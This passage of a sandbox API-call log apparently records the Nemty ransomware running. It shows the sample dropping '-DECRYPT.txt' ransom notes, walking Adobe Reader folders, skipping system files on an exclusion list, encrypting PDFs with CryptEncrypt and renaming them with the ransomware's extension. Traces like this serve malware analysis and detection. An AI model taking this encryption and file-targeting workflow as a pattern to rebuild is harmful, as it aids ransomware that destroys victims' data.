lpMem=0x6340338 | out: hHeap=0x4f90000) returned 1 [0188.802] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340338 [0188.802] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0188.802] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0188.802] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.802] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0188.802] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0188.802] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.802] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63403f0 [0188.802] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0188.802] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63404b8 [0188.802] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f0 | out: hHeap=0x4f90000) returned 1 [0188.802] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ita\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0188.805] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404b8 | out: hHeap=0x4f90000) returned 1 [0188.805] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.805] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e500, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e500*=0xef8, lpOverlapped=0x0) returned 1 [0188.806] CloseHandle (hObject=0x2f0) returned 1 [0188.806] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0188.806] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340338 | out: hHeap=0x4f90000) returned 1 [0188.806] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340338 [0188.806] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403f0 [0188.806] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63404a8 [0188.806] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0188.806] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0188.806] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0188.806] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0188.806] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.806] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0188.806] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0188.806] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.806] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63440b0 [0188.806] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0188.806] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ita\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0188.807] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0188.807] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.807] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e1c0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e1c0*=0xef8, lpOverlapped=0x0) returned 1 [0188.808] CloseHandle (hObject=0x2f0) returned 1 [0188.808] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0188.808] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0188.808] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63404a8 [0188.808] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA\\*.*", lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x242ee650, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x242ee650, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423b30 [0188.808] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0188.808] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x242ee650, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x242ee650, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0188.808] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0188.808] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0188.808] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xca88, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0188.808] lstrcmpiW (lpString1="Dynamic.pdf", lpString2=".") returned 1 [0188.808] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="..") returned 1 [0188.808] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="...") returned 1 [0188.808] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="windows") returned -1 [0188.808] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="$RECYCLE.BIN") returned 1 [0188.808] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="rsa") returned -1 [0188.808] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="NTDETECT.COM") returned -1 [0188.808] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="ntldr") returned -1 [0188.808] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="MSDOS.SYS") returned -1 [0188.808] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="IO.SYS") returned -1 [0188.809] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="boot.ini") returned 1 [0188.809] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="boot.ini") returned 1 [0188.809] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0188.809] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="ntuser.dat") returned -1 [0188.809] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="desktop.ini") returned 1 [0188.809] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="CONFIG.SYS") returned 1 [0188.809] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="RECYCLER") returned -1 [0188.809] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="BOOTSECT.BAK") returned 1 [0188.809] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="bootmgr") returned 1 [0188.809] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="programdata") returned -1 [0188.809] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="appdata") returned 1 [0188.809] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.809] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0188.809] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e210, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0188.809] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0188.809] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0188.809] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e210, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0188.809] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0188.809] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.809] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.809] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0188.809] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e260, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0188.809] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.809] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.809] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0188.809] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e298, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0188.809] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.809] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0188.809] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0188.809] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404a8 [0188.809] Sleep (dwMilliseconds=0x5) [0188.820] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x243147b0, dwHighDateTime=0x1d561e8)) [0188.820] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x243147b0, dwHighDateTime=0x1d561e8)) [0188.820] GetLastError () returned 0xb7 [0188.820] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0188.820] GetLastError () returned 0xb7 [0188.820] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.820] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0188.820] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0188.820] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0188.820] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0188.821] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0188.821] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440b0 [0188.821] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440b0, pcchString=0x653df5c | out: pszString="qulNbJr+hvj9cC2ErdMXXVJZlfImZxj+AF9Hljzjr4y0Ki/q4j8Qpde4kOqNfnEt\r\nNrKE05ceujoJOrP03dTqKQSkICHSq1ucHwgwa/VBpp3O0fePlYPhmnxUTm6fJkVS\r\nWQ9wptzd4ZReSEd3TyGC73em6ygN41t12sKp9SGlobud71AGEMR/pcTxvnpdwIIJ\r\nGsqHO1+gQicuglQH+Gdv/Nd+Sug3hb2EmRyop8/lGamvv1Q8j8HNbCh15wH82FWn\r\npIUK6cUJYufFIqhmEnDgdKkcHIVtv0FGmsgVakFRUVChVHM1MW4DYJc6ieyec+Vf\r\ntl5meTlZVdSX28TbKZz7gQ==\r\n", pcchString=0x653df5c) returned 1 [0188.821] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0188.821] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0188.821] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0188.821] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0188.821] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440b0 [0188.821] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0188.821] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ita\\dynamic.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0188.821] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=51848) returned 1 [0188.821] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xca80) returned 0x6352c48 [0188.821] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.821] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xca80, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0xca80, lpOverlapped=0x0) returned 1 [0188.826] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.826] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xca80, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0xca80, lpOverlapped=0x0) returned 1 [0188.826] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0188.826] SetFilePointer (in: hFile=0x320, lDistanceToMove=51848, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xca88 [0188.827] WriteFile (in: hFile=0x320, lpBuffer=0x63440b0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440b0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0188.827] CloseHandle (hObject=0x320) returned 1 [0188.827] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0188.827] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0188.827] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0188.827] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0188.827] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0188.827] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0188.827] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63442e8 [0188.827] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63443b0 [0188.827] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0188.827] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0188.827] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ita\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA\\Dynamic.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ita\\dynamic.pdf._nemty_kgobjgd_")) returned 1 [0188.827] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63443b0 | out: hHeap=0x4f90000) returned 1 [0188.827] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0188.828] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0188.828] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0188.828] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0188.828] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0188.828] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.828] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0188.828] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8ff9, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0188.828] lstrcmpiW (lpString1="SignHere.pdf", lpString2=".") returned 1 [0188.828] lstrcmpiW (lpString1="SignHere.pdf", lpString2="..") returned 1 [0188.828] lstrcmpiW (lpString1="SignHere.pdf", lpString2="...") returned 1 [0188.828] lstrcmpiW (lpString1="SignHere.pdf", lpString2="windows") returned -1 [0188.828] lstrcmpiW (lpString1="SignHere.pdf", lpString2="$RECYCLE.BIN") returned 1 [0188.828] lstrcmpiW (lpString1="SignHere.pdf", lpString2="rsa") returned 1 [0188.828] lstrcmpiW (lpString1="SignHere.pdf", lpString2="NTDETECT.COM") returned 1 [0188.828] lstrcmpiW (lpString1="SignHere.pdf", lpString2="ntldr") returned 1 [0188.828] lstrcmpiW (lpString1="SignHere.pdf", lpString2="MSDOS.SYS") returned 1 [0188.828] lstrcmpiW (lpString1="SignHere.pdf", lpString2="IO.SYS") returned 1 [0188.828] lstrcmpiW (lpString1="SignHere.pdf", lpString2="boot.ini") returned 1 [0188.828] lstrcmpiW (lpString1="SignHere.pdf", lpString2="boot.ini") returned 1 [0188.828] lstrcmpiW (lpString1="SignHere.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0188.828] lstrcmpiW (lpString1="SignHere.pdf", lpString2="ntuser.dat") returned 1 [0188.828] lstrcmpiW (lpString1="SignHere.pdf", lpString2="desktop.ini") returned 1 [0188.828] lstrcmpiW (lpString1="SignHere.pdf", lpString2="CONFIG.SYS") returned 1 [0188.828] lstrcmpiW (lpString1="SignHere.pdf", lpString2="RECYCLER") returned 1 [0188.828] lstrcmpiW (lpString1="SignHere.pdf", lpString2="BOOTSECT.BAK") returned 1 [0188.828] lstrcmpiW (lpString1="SignHere.pdf", lpString2="bootmgr") returned 1 [0188.828] lstrcmpiW (lpString1="SignHere.pdf", lpString2="programdata") returned 1 [0188.828] lstrcmpiW (lpString1="SignHere.pdf", lpString2="appdata") returned 1 [0188.828] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.828] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0188.828] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0188.828] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0188.828] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0188.829] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0188.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0188.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.829] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0188.829] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e260, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0188.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.829] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0188.829] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e298, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0188.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.829] 